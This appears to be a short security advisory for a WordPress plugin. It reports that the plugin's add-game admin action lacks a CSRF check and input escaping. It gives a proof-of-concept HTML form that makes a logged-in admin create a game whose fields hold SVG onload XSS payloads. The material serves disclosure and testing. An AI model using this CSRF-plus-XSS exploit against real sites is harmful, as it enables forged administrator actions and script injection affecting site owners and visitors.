The plugin does not have CSRF check in place when adding a new game, and is lacking sanitisation as well as escaping in their settings, allowing attacker to make a logged in admin add an arbitrary game with XSS payloads
<html>
<body>
<form action="http://wp.lab/wordpress/wp-admin/admin.php?page=coru_lfmember_admin&action=new" method="POST">
<input type="hidden" name="game_id" value="" />
<input type="hidden" name="game_image" value='"><svg/onload=alert(/XSS-Img/)>' />
<input type="hidden" name="game_name_short" value='"><svg/onload=alert(/XSS-Short/)>' />
<input type="hidden" name="game_name_long" value='"><svg/onload=alert(/XSS-Long/)>' />
<input type="hidden" name="game_description" value="</textarea><svg/onload=alert(/XSS-desc/)>" />
<input type="hidden" name="game_link" value='"><svg/onload=alert(/XSS-Link/)>' />
<input type="hidden" name="game_enabled" value="0" />
<input type="hidden" name="doaction_active" value="Apply" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>